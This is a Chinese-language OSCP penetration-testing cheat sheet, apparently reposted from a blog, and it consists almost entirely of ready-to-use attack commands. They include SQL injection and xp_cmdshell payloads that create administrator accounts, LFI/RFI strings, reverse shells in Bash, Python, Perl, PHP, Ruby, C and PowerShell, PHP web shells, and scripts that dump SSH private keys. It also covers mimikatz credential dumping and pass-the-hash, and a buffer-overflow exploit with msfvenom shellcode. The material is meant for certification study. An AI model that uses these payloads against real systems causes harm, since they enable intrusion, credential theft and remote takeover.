主頁 >  其他 > OSCP學習筆記總結(本資料禁止轉載)

OSCP學習筆記總結(本資料禁止轉載)

2021-10-20 07:45:01 其他

OSCP學習筆記

一、偵查與列舉

1、滲透日志記錄

script target.log

2、埠掃描

(1)Nmap

nmap -sS -Pn -n -A x.x.x.x

不重試掃描所有udp埠

nmap -sU -p- --max-retries 0 --min-rate 500 x.x.x.x

(2)Nc

nc -nvv -w 1 -z x.x.x.x 1-100

(3)PowerShell

powershell.exe -exec bypass -C "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/Invoke-Portscan.ps1');Invoke-Portscan -Hosts x.x.x.x"

3、主機列舉

(1)nikto -h x.x.x.x

(2)enum4linux x.x.x.x

(3)探測主機是32位還是64位

鏈接:

https://github.com/SecureAuthCorp/impacket/blob/master/examples/getArch.py

python getArch.py -target x.x.x.x

4、DNS域名決議

dig axfr domain.com @nameserver

5、Web目錄模糊查詢

(1)Gobuster

apt-get install seclists

gobuster -u x.x.x.x -w /usr/share/seclists/Discovery/Web_Content/common.txt -t 20

gobuster -u x.x.x.x -w /usr/share/seclists/Discovery/Web_Content/quickhits.txt -t 20

gobuster -u x.x.x.x -w /usr/share/seclists/Discovery/Web_Content/common.txt -t 20 -x .txt,.php

(2)Wfuzz

wfuzz -w /usr/share/seclists/Discovery/Web_Content/common.txt --hc 400,404,500 http://x.x.x.x/FUZZ

wfuzz -w /usr/share/seclists/Discovery/Web_Content/quickhits.txt --hc 400,404,500 http://x.x.x.x/FUZZ

6、SMB列舉

smbmap -H x.x.x.x

smbclient -L x.x.x.x

nmap --script=smb-check-vulns.nse x.x.x.x

smbmount //x.x.x.x/share /mnt –o username=xxx,workgroup=xxx

mount -t cifs //x.x.x.x/share /mnt

mount -t cifs -o username=xxx,password=xxx //x.x.x.x/share /mnt

smbclient \\\\x.x.x.x\\share

使用rpcclient的匿名

rpcclient -U "" x.x.x.x

7、SNMP列舉

snmpwalk -c public -v1 x.x.x.x

使用默認字串進行掃描,通過對Kerberos服務強制查詢可能的用戶名來發現有效用戶名

nmap -p 88 --script krb5-enum-users --script-args krb5-enum-users.realm='domain.local',userdb=/usr/share/wordlists/SecLists/Usernames/top_shortlist.txt x.x.x.x

https://nmap.org/nsedoc/scripts/krb5-enum-users.html

8、CMS

(1)cmsmap

cmsmap.py https://x.x.x.x

(2)wpscan

wpscan --url https://x.x.x.x

暴力登錄

wpscan --url http://x.x.x.x --wordlist /usr/share/wordlists/SecLists/Passwords/best1050.txt --username admin --threads 10

9、SQL注入

(1)常用方法

1' or '1'='1
1' or '1'='1'
1' or '1'='1'--
' or 1=1 --
a' or 1=1 --
" or 1=1 --
a" or 1=1 --
' or 1=1 #
" or 1=1 #
or 1=1 --
' or 'x'='x
" or "x"="x
') or ('x'='x
") or ("x"="x

(2)使用時間延遲查找可注入引數

';WAITFOR DELAY '0:0:5'--


SLEEP(1) /*‘ or SLEEP(1) or ‘“ or SLEEP(1) or “*/


+BENCHMARK(40000000,SHA1(1337))+
'%2Bbenchmark(3200,SHA1(1))%2B'

(3)如果上述方法生效,嘗試使用xp_cmdshell

EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;

(4)xp_cmdshell測驗ping

';exec master..xp_cmdshell 'ping -n 3 x.x.x.x'; --

(5)xp_cmdshell添加admin

';exec master..xp_cmdshell 'net user xxx Qwerty123! /ADD && net localgroup administrators xxx /ADD'; --

(6)xp_cmdshell添加admin到RDP組

';exec master..xp_cmdshell 'net user xxx Qwerty123! /ADD && net localgroup administrators xxx /ADD && net localgroup "Remote Desktop Users" xxx /ADD'; --

10、本地檔案包含漏洞(LFI)

(1)基本檢查

linux

../../../../../../../../../../etc/passwd
..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd
../../../../../../../../../../etc/passwd%00
..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd%2500

windows

../../../../../../../../../../boot.ini
..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fboot.ini
../../../../../../../../../../boot.ini%00
..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fboot.ini%2500
?
../../../../../../../../../../windows/system32/drivers/etc/hosts
../../../../../../../../../../windows/system32/drivers/etc/hosts%00
..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fwindows/system32/drivers/etc/hosts
..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fwindows/system32/drivers/etc/hosts%2500

https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI

(2)LFI利用

(1)expect://

http://x.x.x.x/blah?parameter=expect://whoami

(2)data://

http://x.x.x.x/blah?parameter=data://text/plain;base64,PD8gcGhwaW5mbygpOyA/Pg==
# the base64 encoded payload is: <? phpinfo(); ?>

(3)input://

http://x.x.x.x/blah?parameter=php://input
# POST data (using Hackbar)
<? phpinfo(); ?>

11、遠程檔案包含漏洞(RFI)

GET /supersecret/admin.php?path=http://x.x.x.x/phpinfo.php%00

12、檔案與檔案系統

查看靜態系統檔案

cat /etc/fstab

查找可寫目錄

查找可寫檔案

查找可寫組態檔

find /etc/ -writable -type f 2>/dev/null

二、Get Shell

1、Shells

(1)ReverseShells

Bash

bash -i >& /dev/tcp/x.x.x.x/4444 0>&1
/bin/bash -i > /dev/tcp/x.x.x.x/4444 0<&1 2>&1

/bin/sh -i > /dev/tcp/x.x.x.x/4444 0<&1 2>&1

Python

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("x.x.x.x",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

Perl

perl -e 'use Socket;$i="x.x.x.x";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

Perl Windows

perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"x.x.x.x:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

PHP

php -r '$sock=fsockopen("x.x.x.x",4444);exec("/bin/sh -i <&3 >&3 2>&3");'

Ruby

ruby -rsocket -e'f=TCPSocket.open("x.x.x.x",4444).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

Netcat

nc -e /bin/sh x.x.x.x 4444
nc -e cmd.exe x.x.x.x 4444
/bin/sh | nc x.x.x.x 4444
rm -f /tmp/p; mknod /tmp/p p && nc x.x.x.x 4444 0/tmp/p

Telnet

rm -f /tmp/p; mknod /tmp/p p && telnet x.x.x.x 4444 0/tmp/p
telnet x.x.x.x 80 | /bin/bash | telnet x.x.x.x 443

Java

r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/x.x.x.x/4444;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()

Shellshock reverse shell

驗證user-agent header中的漏洞

() { :; }; /bin/bash -c 'whoami'

反彈shell

() { :; }; /bin/bash -c 'bash -i >& /dev/tcp/x.x.x.x/4444 0>&1;'

PowerShell

Invoke-PowerShellTcp

https://raw.githubusercontent.com/samratashok/nishang/master/Shells/Invoke-PowerShellTcp.ps1

在最下面加

Invoke-PowerShellTcp -Reverse -IPAddress x.x.x.x -Port 4444

C

// gcc reverse.c -o reverse
?
#include <stdio.h>
#include <unistd.h>
#include <sys/socket.h>
#include <arpa/inet.h>
?
int main (int argc, char **argv)
{
int scktd;
struct sockaddr_in client;
?
client.sin_family = AF_INET;
client.sin_addr.s_addr = inet_addr("x.x.x.x"); // attacker IP
client.sin_port = htons(4444); // attacker port
?
scktd = socket(AF_INET,SOCK_STREAM,0);
connect(scktd,(struct sockaddr *)&client,sizeof(client));
?
dup2(scktd,0); // STDIN
dup2(scktd,1); // STDOUT
dup2(scktd,2); // STDERR
?
execl("/bin/sh","sh","-i",NULL,NULL);
?
return 0;
}

(2)Bind shells

C

// gcc bind.c -o bind
?
#include <stdio.h>
#include <unistd.h>
#include <sys/socket.h>
#include <arpa/inet.h>
?
int main (int argc, char **argv)
{
int scktd = -1;
int scktd_client = -1;
int i = -1;
struct sockaddr_in server;
struct sockaddr_in client;

scktd = socket(AF_INET,SOCK_STREAM,0);
if (scktd == -1)
return -1;
?
server.sin_family = AF_INET;
server.sin_addr.s_addr = INADDR_ANY;
server.sin_port = htons(4444); // local listening port
?
if(bind(scktd,(struct sockaddr *)&server,sizeof(server)) < 0)
return -2;
?
listen(scktd,3);
i = sizeof(struct sockaddr_in);
scktd_client = accept(scktd,(struct sockaddr *)&client,(socklen_t*)&i);
if (scktd_client < 0)
return -3;
?
dup2(scktd_client,0); // STDIN
dup2(scktd_client,1); // STDOUT
dup2(scktd_client,2); // STDERR

execl("/bin/sh","sh","-i",NULL,NULL);
?
return 0;
}

(3)WebShells

PHP

<1> wordpress

wordpress找到404界面

http://x.x.x.x/404.php?cmd=id

http://x.x.x.x/404.php?cmd=nc x.x.x.x 4444 -e /bin/sh

代碼

<?php echo shell_exec($_GET['cmd']); ?>
<? passthru($_GET["cmd"]); ?>
<?php echo shell_exec($_GET["cmd"]); ?>

<2> phpMyAdmin

<?php system("/usr/local/bin/wget http://x.x.x.x:4444/php-reverse-shell.php -O /var/tmp/hodor.php 2>&1"); ?>

<3> SQL查詢

SELECT "" into outfile "C:\\xampp\\htdocs\\shell.php"

LFI反彈shell

http://x.x.x.x/blah?parameter=/etc/passwd%00

<1> POST request URL

http://x.x.x.x/blah?parameter=php://input%00

<2> POST data

<? phpinfo(); ?>

<3> POST data 通過443埠反彈

<?php echo shell_exec("bash -i >& /dev/tcp/x.x.x.x/443 0>&1 2>&1"); ?>

HTTP 方法

<1> HTTP POST

curl -X POST -F "file=@/location/shell.php" http://x.x.x.x/upload.php --cookie "cookie"

<2> HTTP PUT

curl -X PUT -d '<?php system($_GET["c"]);?>' http://x.x.x.x/shell.php

(4)LOCAL

int main(void){
setresuid(0, 0, 0);
system("/bin/bash");
}

2、檔案傳輸

python檔案傳輸

python -m SimpleHTTPServer (默認埠8000)

python -m SimpleHTTPServer 8001

wget https://gist.githubusercontent.com/UniIsland/3346170/raw/059aca1d510c615df3d9fedafabac4d538ebe352/SimpleHTTPServerWithUpload.py ; chmod +x SimpleHTTPServerWithUpload.py; ./SimpleHTTPServerWithUpload.py

(1)Windows

<1> PowerShell

(New-Object System.Net.WebClient).DownloadFile("http://x.x.x.x:4444/file", "C:\Users\hodor\file")
PS C:\>IEX(New-Object Net.WebClient).downloadString('http://x.x.x.x/Invoke-MS16032.ps1')

遠程代碼下載

C:\Windows\SysNative\WindowsPowershell\v1.0\powershell.exe IEX(New-Object Net.WebClient).downloadString('http://x.x.x.x:8000/Invoke-PowerShellTcp.ps1
<2> FTP

方法一:

配置kali ftp

#!/bin/bash
groupadd ftpgroup
useradd -g ftpgroup -d /dev/null -s /etc ftpuser
pure-pw useradd hodor -u ftpuser -d /ftphome
pure-pw mkdb
cd /etc/pure-ftpd/auth/
ln -s ../conf/PureDB 60pdb
mkdir -p /ftphome
chown -R ftpuser:ftpgroup /ftphome/
/etc/init.d/pure-ftpd restart

開啟kali ftp server

# FTP home dir = /ftphome/
/etc/init.d/pure-ftpd start

在目標主機下載nc

echo open x.x.x.x 21> test.txt
echo USER hodor>> test.txt
echo hodor>> test.txt
echo bin >> test.txt
echo GET nc.exe >> test.txt
echo bye >> test.txt
ftp -v -n -s:test.txt

方法二

apt-get install python-pyftpdlib

python -m pyftpdlib -p 21

ftp x.x.x.x
get nc.exe

nc.exe -nv x.x.x.x 4444 -e cmd.exe
C:\Inetpub\wwwroot\nc.exe -e cmd.exe x.x.x.x 4444

<3> rdp

通過本地共享

rdesktop x.x.x.x -r disk:share=/home/user/foldertoshare

<4> VBScript

代碼

echo strUrl = WScript.Arguments.Item(0) > wget.vbs
echo StrFile = WScript.Arguments.Item(1) >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_DEFAULT = 0 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_PRECONFIG = 0 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_DIRECT = 1 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_PROXY = 2 >> wget.vbs
echo Dim http,varByteArray,strData,strBuffer,lngCounter,fs,ts >> wget.vbs
echo Err.Clear >> wget.vbs
echo Set http = Nothing >> wget.vbs
echo Set http = CreateObject("WinHttp.WinHttpRequest.5.1") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("WinHttp.WinHttpRequest") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("MSXML2.ServerXMLHTTP") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("Microsoft.XMLHTTP") >> wget.vbs
echo http.Open "GET",strURL,False >> wget.vbs
echo http.Send >> wget.vbs
echo varByteArray = http.ResponseBody >> wget.vbs
echo Set http = Nothing >> wget.vbs
echo Set fs = CreateObject("Scripting.FileSystemObject") >> wget.vbs
echo Set ts = fs.CreateTextFile(StrFile,True) >> wget.vbs
echo strData = "" >> wget.vbs
echo strBuffer = "" >> wget.vbs
echo For lngCounter = 0 to UBound(varByteArray) >> wget.vbs
echo ts.Write Chr(255 And Ascb(Midb(varByteArray,lngCounter + 1,1))) >> wget.vbs
echo Next >> wget.vbs
echo ts.Close >> wget.vbs

執行

cscript wget.vbs http://x.x.x.x/file.exe file.exe

(2)Linux

<1> Wget

wget http://x.x.x.x/blah.txt
wget http://x.x.x.x/blah.txt -O blah.txt

<2> Netcat

目標機

nc -lvp 4444 > blah.txt

本機

方法一

nc x.x.x.x 4444 < blah.txt

方法二

cat blah.txt | nc x.x.x.x 4444

<3> Python

python -c "import urllib; print urllib.urlopen('http://x.x.x.x:8000/ms11-080.py').read()" > ms11-080.py

三、提權

1、Windows

(1)Windows 版本

<1> 客戶端

<2> 服務端

(2)Users

查看當前用戶

whoami

echo %username%

我們有哪些用戶權限

whoami /priv

用戶有哪些

net users

看是否有管理員權限

net localgroup administrators

憑證管理

cmdkey /list

當前快取的Kerberos票證(可能還有其他網路組件的一些資訊)

klist

是否有其他已登錄用戶

qwinsta

(3)Password

password hashes

/usr/share/windows-binaries/fgdump/fgdump.exe
C:\> fgdump.exe
C:\> type 127.0.0.1.pwdump

fgdump鏈接

FGDump - aldeid

如果是域控制,請在groups.xml中搜索“cpassword”:

findstr /S /I cpassword \\<FQDN>\sysvol\<FQDN>\policies\*.xml

(4)查找密碼

dir /s *password*

findstr /si password *.ini *.xml *.txt
findstr /spin "password" *.*

一些常見的檔案

type c:\sysprep.inf
type c:\sysprep\sysprep.xml
type c:\unattend.xml
type %WINDIR%\Panther\Unattend\Unattended.xml
type %WINDIR%\Panther\Unattended.xml
dir /s *sysprep.inf *sysprep.xml *unattended.xml *unattend.xml *unattend.txt 2>nul
?
dir c:*vnc.ini /s /b
dir c:*ultravnc.ini /s /b
dir c:\ /s /b | findstr /si *vnc.ini

%windir%\repair\sam
%windir%\System32\config\RegBack\SAM
%windir%\repair\system
%windir%\repair\software
%windir%\repair\security
%windir%\debug\NetSetup.log (AD domain name, DC name, internal IP, DA account)
%windir%\iis6.log (5,6 or 7)
%windir%\system32\logfiles\httperr\httperr1.log
C:\sysprep.inf
C:\sysprep\sysprep.inf
C:\sysprep\sysprep.xml
%windir%\Panther\Unattended.xml
C:\inetpub\wwwroot\Web.config
%windir%\system32\config\AppEvent.Evt (Application log)
%windir%\system32\config\SecEvent.Evt (Security log)
%windir%\system32\config\default.sav
%windir%\system32\config\security.sav
%windir%\system32\config\software.sav
%windir%\system32\config\system.sav
%windir%\system32\inetsrv\config\applicationHost.config
%windir%\system32\inetsrv\config\schema\ASPNET_schema.xml
%windir%\System32\drivers\etc\hosts (dns entries)
%windir%\System32\drivers\etc\networks (network settings)
%windir%\system32\config\SAM (only really useful if you have access to the files while the machine is off)

(5)始終保持高位

檢查一下注冊表值是否為1

reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

如果是1,則執行惡意msi添加本地用戶

msfvenom -p windows/adduser USER=hodor PASS=Qwerty123! -f msi -o hodor.msi

msiexec /quiet /qn /i C:\hodor.msi

(6)upnp

sc qc upnphost
sc config upnphost binpath= "C:\nc.exe -nv x.x.x.x -e C:\WINDOWS\System32\cmd.exe"
sc config upnphost obj= ".\LocalSystem" password= ""
sc qc upnphost
net start upnphost

缺少依賴項時出錯?
sc config SSDPSRV start= auto
net start SSDPSRV
net start upnphost

或者直接移除依賴

sc config upnphost depend= ""

(7)計劃任務

列出計劃任務

schtasks /query /fo LIST /v

運行鏈接到服務的行程

tasklist /SVC

(8)PowerShell 工具

<1> PowerUp.ps1

檢查公共視窗載體

PowerTools/PowerUp.ps1 at master · PowerShellEmpire/PowerTools · GitHub

在目標機下載

IEX(New-Object Net.Webclient).downloadString('http://x.x.x.x:8000/PowerUp.ps1')

在腳本底部增加

Invoke-AllChecks

運行

powershell.exe -nop -exec bypass
PS C:\> Import-Module .\PowerUp.ps1
PS C:\> Invoke-AllChecks

<2> Sherlock.ps1

Sherlock/Sherlock.ps1 at master · rasta-mouse/Sherlock · GitHub

IEX(New-Object Net.Webclient).downloadString('http://x.x.x.x:8000/Sherlock.ps1')

在腳本底部增加

Find-AllVulns

運行

powershell.exe -nop -exec bypass
PS C:\> Import-Module .\Sherlock.ps1
PS C:\> Find-AllVulns

<3> Nishang

GitHub - samratashok/nishang: Nishang - Offensive PowerShell for red team, penetration testing and offensive security.

(9)編譯

在linux上編譯exe

i686-w64-mingw32-gcc 18176.c -lws2_32 -o 18176.exe

編譯python腳本為可執行檔案

wine ~/.wine/drive_c/Python27/Scripts/pyinstaller.exe --onefile exploit.py

(10)windows漏洞

<1> 遠程漏洞

ms03-026
ms03-039 (1)
ms03-039 (2)
ms03-049
ms04-007
ms04-011 - ssl bof
ms04-011 - lsasarv.dll
ms04-031
ms05-017
ms05-039
ms06-040 (1)
ms06-040 (2)
ms06-070
ms08-067 (1)
ms08-067 (2)
ms08-067 (3)
ms09-050

<2> 本地漏洞

ms04-011
ms04-019 (1)
ms04-019 (2)
ms04-019 (3)
ms04-020
keybd_event
ms05-018
ms05-055
ms06-030
ms06-049
print spool service
ms08-025
netdde
ms10-015
ms10-059
ms10-092
ms11-080
ms14-040
ms14-058 (1)
ms14-058 (2)
ms14-070 (1)
ms14-070 (2)
ms15-010 (1)
ms15-010 (2)
ms15-051
ms16-014
ms16-016
ms16-032

鏈接:

Exploit Database - Exploits for Penetration Testers, Researchers, and Ethical Hackers

GitHub - abatchy17/WindowsExploits: Windows exploits, mostly precompiled. Not being updated. Check https://github.com/SecWiki/windows-kernel-exploits instead.

https://github.com/SecWiki/windows-kernel-exploits


2、Linux

(1)Sudo

cat /etc/sudoers
sudo -l

成為超級英雄:

root可以從所有終端執行,充當所有(任何)用戶,并運行所有(任何)命令,

root ALL=(ALL) ALL

用戶john可以從任何終端使用john的用戶密碼運行命令power off

john ALL= /sbin/poweroff

用戶john可以從任何終端以root用戶身份運行命令scp,無需密碼,

john ALL = (root) NOPASSWD: /usr/bin/scp

(2)分發型別和內核版本

cat /etc/*release*
uname -a
rpm -q kernel
dmesg | grep -i linux

(3)默認可寫目錄/檔案夾

/tmp
/dev/shm

(4)查找密碼

在config.php中搜索密碼

grep -R 'password' config.php

在整個系統里面查詢密碼

find / -type f -exec grep -H 'password' {} \; 2>/dev/null
grep -R -i "password" 2> >(grep -v 'Permission denied' >&2)

grep -i user [filename]
grep -i pass [filename]
grep -C 5 "password" [filename]
find . -name "*.php" -print0 | xargs -0 grep -i -n "var $password"

(5)查找可能的其他可寫目錄/檔案夾

(6)root正在運行的服務

ps aux | grep root
ps -ef | grep root

(7)已安裝app

ls -lah /usr/bin/
ls -lah /sbin/
dpkg -l
rpm -qa
ls -lah /var/cache/apt/archivesO
ls -lah /var/cache/yum/

(8)計劃作業

crontab -l
ls -la /etc/cron*
ls -lah /var/spool/cron
ls -la /etc/ | grep cron
cat /etc/crontab
cat /etc/anacrontab

(9)其他方法

<1> 在檔案中查找

grep -rnw '/etc/passwd' -e 'root'

<2> SSH

authorized_keys:
包含任何授權客戶端的公鑰簽名,換句話說,指定可用于登錄到為其組態檔的用戶帳戶的SSH密鑰,此檔案允許服務器對用戶進行身份驗證,
id_rsa
包含客戶端的私鑰,此RSA密鑰可與SSH協議1或2一起使用,
id_rsa.pub
包含客戶端的公鑰
id_dsa
包含客戶端的私鑰,此(不安全)DSA密鑰只能與SSH協議2一起使用,
id_dsa.pub
包含客戶端的公鑰
known_hosts
包含客戶端曾經連接到的主機的主機簽名串列,

<3> 查找RSA私鑰

#!/bin/bash
for X in $(cut -f6 -d ':' /etc/passwd |sort |uniq); do
if [ -s "${X}/.ssh/id_rsa" ]; then
echo "### ${X}: "
cat "${X}/.ssh/id_rsa"
echo ""
fi
done

<4> 查找DSA私鑰

#!/bin/bash
for X in $(cut -f6 -d ':' /etc/passwd |sort |uniq); do
if [ -s "${X}/.ssh/id_dsa" ]; then
echo "### ${X}: "
cat "${X}/.ssh/id_dsa"
echo ""
fi
done

<5> 查找bit, SGID, SUID, GUID

bit :

find / -perm -1000 -type d 2>/dev/null

SGID (chmod 2000):

find / -perm -g=s -type f 2>/dev/null

SUID (chmod 4000) :

find / -perm -u=s -type f 2>/dev/null
find /* -user root -perm -4000 -print 2>/dev/null

SUID or GUID

find / -perm -g=s -o -perm -u=s -type f 2>/dev/null

(10)向/etc/passwd增加用戶,所屬組為root

echo hodor::0:0:root:/root:/bin/bash >> /etc/passwd

(11)列舉工具

Linenum.sh

https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh

LinPrivChecker.py

linpostexp/linprivchecker.py at master · reider-roque/linpostexp · GitHub

(12)Linux本地漏洞

kernel 2.4.x / 2.6.x (sock_sendpage 1)
kernel 2.4 / 2.6 (sock_sendpage 2)
kernel < 2.6.22 (ftruncate)
kernel < 2.6.34 (cap_sys_admin)
kernel 2.6.27 < 2.6.36 (compat)
kernel < 2.6.36-rc1 (can bcm)
kernel <= 2.6.36-rc8 (rds protocol)
kernel < 2.6.36.2 (half nelson)
kernel <= 2.6.37 (full nelson)
kernel 2.6 (udev)
kernel 3.13 (sgid)
kernel 3.13.0 < 3.19 (overlayfs 1)
kernel 3.14.5 (libfutex)
kernel 2.6.39 <= 3.2.2 (mempodipper)
*kernel 2.6.28 / 3.0 (alpha-omega)
kernel 2.6.22 < 3.9 (Dirty Cow)
kernel 3.7.6 (msr)
*kernel < 3.8.9 (perf_swevent_init)
kernel <= 4.3.3 (overlayfs 2)
kernel 4.3.3 (overlayfs 3)
kernel 4.4.0 (af_packet)
kernel 4.4.x (double-fdput)
kernel 4.4.0-21 (netfilter)
kernel 4.4.1 (refcount)

(13)預編譯漏洞

https://github.com/SecWiki/linux-kernel-exploits

https://github.com/xairy/linux-kernel-exploitation

四、后滲透

1、Proof.txt

(1)Linux

cat /root/proof.txt

(2)Windows

type "C:\Documents and Settings\Administrator\Desktop\proof.txt"

2、Windows

(1)增加RDP用戶

net user hodor Qwerty123! /add
net localgroup administrators hodor /add
net localgroup "Remote Desktop Users" hodor /add

(2)啟用RDP

通過注冊表

reg add "hklm\system\currentcontrolset\control\terminal server" /f /v fDenyTSConnections /t REG_DWORD /d 0

添加防火墻策略

netsh firewall set service remoteadmin enable
netsh firewall set service remotedesktop enable

(3)RDP連接

rdesktop -g 1024x768 x.x.x.x

(4)密碼與哈希

從lsass記憶體中提取密碼、密鑰、pin碼、票據

privilege::debug
log sekurlsa.log
sekurlsa::logonpasswords

Pass-the-hash

privilege::debug
log sekurlsa.log
sekurlsa::sekurlsa::pth /user:Administrator /domain:acme /ntlm:893efccda23744616cf7accab23ascbb /run:cmd

Elevate token

privilege::debug
log sekurlsa.log
token::elevate

Dump SAM

privilege::debug
log sekurlsa.log
lsadump::sam

Windows憑據編輯器(WCE):

安全工具,可用于從Windows主機中提取明文密碼和NTLM散列,需要管理員權限

Amplia Security - Research - Windows Credentials Editor (WCE)

C:\> wce -w

(5)網路

查看網路連接

netstat -ano

Host檔案

C:\WINDOWS\System32\drivers\etc\hosts

防火墻組態檔

netsh firewall show state
netsh firewall show config
netsh dump

(6)PowerShell 工具

Empire

https://github.com/EmpireProject/Empire

PowerSploit

https://github.com/PowerShellMafia/PowerSploit

2、Linux

切換TTY shell

python -c 'import pty; pty.spawn("/bin/sh")'

echo os.system('/bin/bash')

/bin/bash -i
/bin/sh -i

perl -e 'exec "/bin/sh";'

五、橫向移動

1、本地埠轉發

本地埠轉發到遠程埠

ssh <gateway> -L <local port to listen>:<remote host>:<remote port>

2、遠程埠轉發

轉發遠程埠到本地埠

ssh <gateway> -R <remote port to bind>:<local host>:<local port>

Windows:轉發本地445埠到kali444埠

首先在kali上啟動ssh

service ssh start

下載plink.exe然后執行

plink.exe -l root x.x.x.x -R 444:127.0.0.1:445

3、動態埠轉發

-D 使SSH充當SOCKS(4,5)代理服務器,這只是一個SSH隧道,在該隧道中,特定應用程式通過隧道將流量轉發到遠程服務器,與本地埠轉發不同,動態埠轉發可以處理來自多個埠的連接,

ssh -D <local proxy port> -p <remote port> <target>

六、緩沖區溢位

1、基礎知識

x86體系結構包含8個通用暫存器,用于存盤資料,然后可以將該點尋址到記憶體中的其他位置

EBP(基礎指標)

ESP(堆疊指標)

EAX(累加器)

EBX(基底器)

ECX(計數器)

EDX(資料)

EDI(目標地址)

ESI(源地址)

EIP:擴展指令指標,這是一個只讀暫存器,包含下一條要執行的指令的地址(告訴CPU下一步要做什么)

ESP:擴展堆疊指標,指向位于較低記憶體位置的堆疊頂部(隨時)

EBP:擴展的基本堆疊指標,指向堆疊底部的更高地址(最后一項)

2、壞字符

0x00 NULL (\0)
0x09 Tab (\t)
0x0a Line Feed (\n)
0x0d Carriage Return (\r)
0xff Form Feed (\f)

bash中生成壞字串列

for i in {1..255}; do printf "\\\x%02x" $i; done; echo -e "\r"

python中生成壞字串列

'\\'.join([ "x{:02x}".format(i) for i in range(1,256) ])

3、Windows

常規步驟

(1)模糊直至崩潰,注意EIP被A's (x41)覆寫,

(2)使用pattern_create.rb生成唯一字串并將其發送到目標

/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 2700

(3)識別覆寫EIP的4個位元組(以十六進制表示)

(4)使用pattern_offset.rb計算這些特定4位元組的偏移量

/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 2700 -q 39694438

(5)發送新的緩沖區字串以檢查我們是否可以控制EIP暫存器,因為它應該用B's寫,添加到漏洞并注意ESP和EIP暫存器的結果

buffer = "A" * 2606 + "B" * 4 + "C" * 90

(6)檢查緩沖區內是否有更多可用空間(將緩沖區長度從2700位元組增加到3500位元組,并查看這是否會導致代碼的緩沖區空間更大),啟動morespace.py->右鍵單擊ESP->跟蹤轉儲,添加到漏洞并檢查C's

buffer = "A" * 2606 + "B" * 4 + "C" * (3500 – 2606 - 4)

(7)檢查壞字符(0x00到0xff),將所有這些字符粘貼到緩沖區中,并檢查ESP暫存器轉儲被截斷的位置,右鍵單擊ESP并在轉儲中跟隨以查看

(8)如果我們不能直接跳轉到我們的緩沖區,我們需要在記憶體中找到一個可靠的地址,其中包含一條指令,如JMP ESP,我們可以跳轉到它,然后在跳轉時,跳轉到ESP暫存器指向的地址,這將是一種可靠的間接方式來訪問ESP暫存器指示的記憶體,mona.py可以幫助識別記憶體中可以搜索回傳地址的模塊(不應存在DEP和ASLR,并且高記憶體范圍不包含壞字符)

!mona modules

檢查是否受任何記憶體保護方案(Rebase、SafeSEH、ASLR、NXCompat)的影響,并注意特定的DLL(右欄),

(9) JMP ESP equivalent = opcode

/usr/share/metasploit-framework/tools/exploit/nasm_shell.rb
nasm > jmp esp
00000000 FFE4 jmp esp

結果為"\xff\xe4"

(10)使用mona在步驟8中找到的DLL中查找JMP ESP記憶體地址,使用一個不包含任何壞字符的,

!mona find -s "\xff\xe4" -m <dllname>.dll

(11)暫停除錯器并按照地址(指向右側的黑色箭頭:“要遵循的運算式”),注意是否找到JMP ESP(左上方的窗格)

(12)設定一個斷點來檢查我們是否可以到達JMP ESP,
左上窗格->右鍵單擊->轉到運算式
左上窗格->右鍵單擊->斷點->切換(F2)
使用并執行以下操作

添加到PoC(記憶體地址是我們在步驟10中找到的地址,注意Little Endian)

buffer = "A" * 2606 + "\x8f\x35\x4a\x5f" + "C" * 390

運行PoC并檢查是否命中了斷點(除錯器底部的訊息),

(13)生成反彈shell

msfvenom -p windows/shell_reverse_tcp LHOST=x.x.x.x LPORT=443 -f c –e x86/shikata_ga_nai -b "\x00\x0a\x0d"

(14)添加shellcode到腳本

buffer="A"*2606 + "\x8f\x35\x4a\x5f" + "\x90" * 8 + shellcode

如果需要可以增加NOP

案例

FuzzySecurity | ExploitDev: Part 2

Exploiting Simple Buffer Overflows on Win32

GitHub - justinsteven/dostackbufferoverflowgood

buffer-overflow/win-buff-overflow at master · SiowCY/buffer-overflow · GitHub

七、其他

1、kali自帶反彈shell

/usr/share/webshells/php/php-reverse-shell.php
/usr/share/webshells/php/simple-backdoor.php

2、Msfvenom

(1)查看所有payload

msfvenom -l payloads

(2)監聽

msfconsole
use exploit/multi/handler
set lhost x.x.x.x
set lport 4444
exploit

(3)Windows

